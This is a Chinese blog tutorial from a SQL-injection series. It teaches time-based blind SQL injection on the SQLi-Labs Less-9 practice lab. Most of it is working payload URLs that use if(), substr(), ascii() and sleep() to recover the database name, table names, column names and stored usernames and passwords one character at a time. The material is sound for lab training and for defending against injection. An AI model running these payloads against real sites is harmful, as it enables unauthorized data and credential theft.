本章目的

普及延时盲注技术的运用场景及条件,熟悉length()、Substr()、ascii()、sleep()、if()等函数的用法,掌握基于时间的盲注基本流程。PS:面试问答不深问就回答延迟

基本概念

盲注
在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些
方法进行判断或者尝试,这个过程称之为盲注。
>在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响
应时间不同)。一般情况下,盲注可分为两类
基于布尔的盲注(Booleanbased)
基于时间的盲注(Timebased)

基于布尔的育注
>某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页面的返回结果(TrueorFalse)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。
基于时间的盲注
>又称延时注入,即使用具有延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据

盲注常用函数

if()
功能:条件判断。
语法格式:if(expr1,expr2,expr3):expr1为true则返回expr2,expr1为false则返回expr3。
注:仅MySQL支持if(expr1,expr2,expr3)。

left()
功能:截取具有指定长度的字符串的左边部分。
语法格式:left(strlength),如果str或length参数为NULL,则返回NULL值。
参数说明
str:要提取子串的字符串。
length:正整数,指定将从左边返回的字符数。length为0或为负,则LEFT返回一个空字符串
length大于str字符串的长度,则leftO返回整个str字符串。

length()
功能:返回字符串的长度,以字节为单位。
语法格式:length(str)

substr()、substring()
功能:从指定的位置开始,截取字符串指定长度的子串。
语法格式:substr(str,pos)或substr(str,pos,len),substring(str,pos)substring(str,pos,len)
参数说明
str:要提取子串的字符串。
pos:提取子串的开始位置
len:指定要提取的子串的长度

ascii()、ord()
功能:返回字符串最左边字符的ASCII码值
语法格式:ascii(str),ord(str)

cast()、convert()
功能:获取一个类型的值,并产生另一个类型的值。
>语法格式:cast(value as type),convert(value,type)

可转换的值类型
二进制,同带binary前缀的效果:BINARY
字符型,可带参数:CHARO
日期:DATE
时间:TIME
日期时间型:DATETIME
浮点数:DECIMAL
整数:SIGNED
无符号整数:UNSIGNED

延时函数sleep()
功能:让语句延退执行一段时间,执行成功后返回0。
语法格式:sleep(N),即延退执行N秒。

延时函数benchmark()
功能:让某语句执行一定的次数,执行成功后返回0。
语法格式:benchmark(coun,texpr),即让expr执行count次
注:仅MySQL支持该函数。

实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows10
(2)安装的应用软件:sqlmap 、Burpsuite 、FireFox浏览器及其插件Hackbar 、 等

(3)登录账号密码:操作系统帐号Administrator,密码Sangfor!7890
想机:A-SQLi-Labs
(1)操作系统:Centos7(本机亦可)
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、
Webug3.0漏洞网站环境
(3)登录账号密码:操作系统帐号root,密码Sangfor!7890

实验原理

(1)关于时间(延时)盲注

某些场合下,页面只有一种返回结果,使用具有延时功能的函数seep(),benchmark()等,通过判断这些函数是否正常执行来获取数据库中的数据。

(2)一些功能函数的说明

ength(str):返回字符串(str)的长度,以字节为单位。

substr( str, pos,len):从指定的位置(pos)开始,截取并返回字符串(str)指定

长度(len)的子串。

ascii(str):返回字符串(str)最左边字符的ASCll码。

if(expr1,expr2,expr3):条件判断函数,expr1为true则返回expr2,expr1为 false则返回exp3。

sleep(N):让语句延迟执行一段时间(N秒),执行成功后返回0。benchmark(count,expr):让expr执行 count次,执行成功后返回0。

实验步骤

本实验的目标是:以sQLi-Labs网站的Less-9为入口,利用基于时间的盲注方式获取SQLi-Labs网站的登录用户名和密码

1,访问SQLi-Labs网站

在攻击机 Pentest-Atk打开 FireFox浏览器,并访问靶机 A-SQLi-Labs上的

SQLi-Labs网站Less-9。访问的URL为:

http://[靶机IP/sqli-labs/Less-9

登录后,根据网页提示,给定一个id=1的参数,即:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1

此时页面显示信息为Youarein....(我的自动翻译了)

如果给定一个?id=-1的参数,即:

http://127.0.0.1/sqli-labs-master/Less-9/?id=-1

此时页面显示信息仍然为Youarein...

可以继续给定不同的id参数进行尝试,发现页面的显示结果只有一种: You are in..由此可以判断,这是一种典型的时间(延时)盲注场景!

2.寻找注入点

使用seep()函数判断注入点的类型:(条件不好的50换5)php崩了就重启

http://127.0.0.1/sqli-labs-master/Less-9/?id=1 and sleep(50)--+

sleep(5)未执行,页面无明显延迟。

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(50)--+

sleep(5)成功执行,页面有明显延退!

由上述结果可以判断,网站存在字符型注入点。
3.盲猜网站当前所在数据库的库名长度
假设当前所在数据库的库名长度为N,尝试使用判断语句

if((length(database())=M),sleep(5),1),

不断变化M的值去猜测,如果M等于N,
此时sleep(5)会成功执行,页面应该会有明显延退。
例如执行如下payload

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())=7,sleep(5),1)--+

页面无明显延迟,说明网站当前所在数据库的库名长度不是7个字符。

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())=8,sleep(5),1)--+

4.盲猜网站当前所在数据库的库名字符串

本步骤通过逐个字母盲猜的方式进行。

假设库名字符串的第1个字母为a,那么条件判断语句 if(substr(库名字符串11)='a', sleep(5,1)以及 if(ascii(substr(库名字符串1,1)=97,sleep(5),1)中,seep(5)能成功执行,页面应该会有明显延迟

假设库名字符串的第2个字母为b,那么条件判断语句if(substr(库名字符串,2,1)= 'b', sleep(5),1)以及 if(ascii( substr(库名字符串,2,1)=98,seep(5),1)中,seep(5)能成功执行,页面应该会有明显延迟

...

以此类推。

猜测库名的第1个字母:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(50),1)--+

or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database (),1,1))=115,sleep(5),1)--+

页面有明显延迟,证明库名的第1个字母为s,猜测正确。

猜测库名的第2个字母:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr(database(),2,1)='e',sleep(10),1)--+

or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database (),2,1))=101,sleep(5),1)--+

页面有明显延迟,证明库名的第2个字母为e,猜测正确。

以此类推,最终得到的字符串结果为 security

5.盲猜数据库 security的全部表名

(1)猜测第1张表的表名

猜测第1张表的表名的第1个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)--+

页面有明显延迟,证明第1张表的表名的第1个字符为e,猜测正确。

猜测第1张表的表名的第2个字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(5),1)--+

页面有明显延迟,证明第1张表的表名的第2个字符为m,猜测正确

以此类推,得到security库中的第1张表的名字为emails。
(2)猜测第2张表的表名
猜测第2张表的表名的第1个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r',sleep(5),1)--+

or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,sleep(5),1)--+

页面有明显延退,证明第2张表的表名的第1个字符为r,猜测正确。

猜测第2张表的表名的第2个字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,sleep(5),1)--+

页面有明显延迟,证明第2张表的表名的第2个字符为e,猜测正确。

...

以此类推,得到security库中的第2张表的名字为referers依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到security库中所有表的表名:emails、referers、uagents和users。其中,第4张表users当中往往存放着网站用户的基本信息

6.盲猜users表的全部字段名
(1)猜测第1个字段名
猜测第1个字段名的第1个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),1)--+

or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))='105',sleep(5),1)--+

猜测第1个字段名的第2个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)='d',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))='100',sleep(5),1)--+

页面有明显延迟,证明第1个字段名的第2个字符为d,猜测正确。

以此类推,得到users表中的第1个字段名为id。
依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users
表中所有字段名:id、username和password

7.盲猜users表username和password字段的全部值
(1)猜测第1组数据
猜测第1组数据的第1个字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='D',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))='68',sleep(5),1)--+

页面有明显延迟,证明第1组数据的第1个字符为D,猜测正确

猜测第1组数据的第2个字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1)='u',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1))=117,sleep(5),1)--+

页面有明显延迟,证明第1组数据的第2个字符为u,猜测正确。

以此类推,得到第1组数据为Dump.Dump。
注意:字符串中的逗号(,)也是需要进行猜测比对的!例如第1组数据的第5
个字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1)=',',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1))=44,sleep(5),1)--+

(2)猜测第2组数据
猜测第2组数据的第1个字符:

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1)='A',sleep(5),1)--+

or

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1))=65,sleep(5),1)--+

页面有明显延迟,证明第2组数据的第1个字符为A,猜测正确。

猜测第2组数据的第2个字符

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1)='n',sleep(5),1)--+

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1))=110,sleep(5),1)--+

页面有明显延迟,证明第2组数据的第2个字符为n,猜测正确。

...

以此类推,得到第2组数据为“Angelina.l-kill-you”
依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中username和password字段的全部值。
SQL注入 ——sql数据库操作基础(一)_Gjqhs的博客-CSDN博客

SOL注入——HTTP头部注入(2)(七)_Gjqhs的博客-CSDN博客

SQL注入——基于布尔的盲注(八)_Gjqhs的博客-CSDN博客

...

更多包括而不限于SQL注入的文章,关注我全部带走吧( •̀ ω •́ )✧

SQL注入——基于时间的盲注(九)相关推荐

  1. SQL注入——基于时间的盲注(sqli-labs less9)

    一.基于时间得盲注 适用场景:没有数据回显,条件正确与否结果一样 利用方式:构造判断条件,添加sleep,逐个猜测(盲猜) 1.所需语法与函数 IF表达式 IF( expr1 , expr2 , ex ...

  2. SQL注入——基于布尔的盲注(八)

    本章目的 普及布尔盲注技术的运用场景及条件,熟悉length().substr().ascii()等函数的用法,掌握基于布尔的盲注基本流程.PS:面试回答主要为对错论 基本概念 盲注 在SQL注入过程 ...

  3. SQL注入:sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!

    在上一次讲解了lesson -1的sql基本注入,我们在注入的时候,它会返回错误信息 但是盲注不会:什么是盲注:我理解的盲注是,web页面并不会返回错误信息,需要自己添加一些命令来让浏览器进行一些显而 ...

  4. 渗透测试——sql注入进阶/基于时间的盲注/一看就会/

    目录 一.注入点判断 注入类型 SQL注入的类型 二.基于时间的时间盲注 什么是时间盲注 sleep()函数 常用函数 三.bWAPP基于时间的盲注实战 一.注入点判断 1.输入一个单引号',因为语句 ...

  5. mysql基于时间盲注_MYSQL基于时间的盲注详解

    MYSQL基于时间的盲注 联合查询,报错注入,以及布尔盲注,都是基于攻击网站会回显消息,或者将错误信息返回在前端,或者会返回web页面的正确或错误 但是有时候网站关闭了错误回显或过滤了某些关键字,网页 ...

  6. 【SQL注入-05】布尔盲注案例

    目录 1 概述 2 操作环境 3 操作具体步骤 3.1 判断是否存在注入点及注入的类型 3.2 测试数据库库名长度 3.3 逐个测试数据库库名的字符 3.4 测试该数据库中所有表名 3.5 测试use ...

  7. iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)

    系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...

  8. 【SQL注入14】布尔盲注的半自动化实现(基于BurpSuite工具和sqli-labs-less8靶机平台)

    目录 1 概述 2 实验简介 2.1 实验平台 2.2 实验目标 3 实验过程 3.1 判断注入点及注入类型 3.2 爆库名(踩坑) 3.3 爆库名(成功) 3.4 爆表名 3.5 爆字段名 3.6 ...

  9. SQL注入--报错和盲注

    目录 报错注入 floor函数报错注入 extractvalue()函数报错注入 updatexml()函数报错注入 盲注 布尔盲注 时间盲注 报错注入 文章内容篇幅较长,请认真研读 回顾之前的文章( ...

最新文章

  1. NAT和IPsec并存的几种模型(方案一)
  2. 1.5 训练/开发/测试集划分-深度学习第三课《结构化机器学习项目》-Stanford吴恩达教授
  3. hbase读写流程及缓存机制
  4. 前端学习(2990):vue+element今日头条管理--模块介绍
  5. Css颜色和文本字体
  6. RSA不对称加密,公钥加密私钥解密,私钥加密公钥解密
  7. jquery操作滚动条滚动到指定位置
  8. *.sln和*.suo文件的作用
  9. 蔚来es6_国产Model Y订单挤爆官网,蔚来ES 6惨遭大量退订?
  10. 蜂窝网络版苹果iPad mini 6不支持毫米波5G
  11. vue+element_ui纯前端下载csv文件
  12. 这些年我的不足(不够专注,不善于推迟满足感,阅读量不够……-无网不剩 http://t.cn/zOe1RPz)
  13. 2022年分体式平价蓝牙耳机,性价比高的蓝牙耳机学生党排行
  14. 《惢客创业日记》2018.10.29(周一) 中国只有一个雷军,却有千万个中小企业
  15. 查询薪金比“SMITH”或者“ALLEN”多的所有员工的编号、姓名、部门名称、领导姓名、部门人数、平均工资、最高及最低工资
  16. python爬楼梯问题_用Python解决经典的爬楼梯问题
  17. SpringSecurity: 不能混用authorizeRequests和6.0里的authorizeHttpReuests
  18. OSChina 程序员节乱弹 ——看程序员如何优雅地生活
  19. 天梯赛习题集 L 1 - 038 新世界 (5 分)
  20. 某博物馆最多可容纳500人同时参观,有一个出入口,该出入口一次仅允许一个人通过。

热门文章

  1. mysql设计与实现_mysql设计与开发
  2. linux系统修改时区开发板,Linux系统时区时间修改
  3. oracle execute immediate执行多条语句_用数据库的方式思考SQL是如何执行的
  4. FPGA的Veilog HDL语法、框架总结
  5. 值得收藏!268条PCB layout设计规范
  6. 电子设计竞赛电源题(2)-检波与采样
  7. 电路中的这些符号标识,你真的明白吗?
  8. 小ck活动机器人包包_别只知道小 CK!这 5 款小众包包更值得买
  9. ps 替换文字_Python操作PPT实现自动查找替换
  10. 通俗地解释脏读、不可重复读、幻读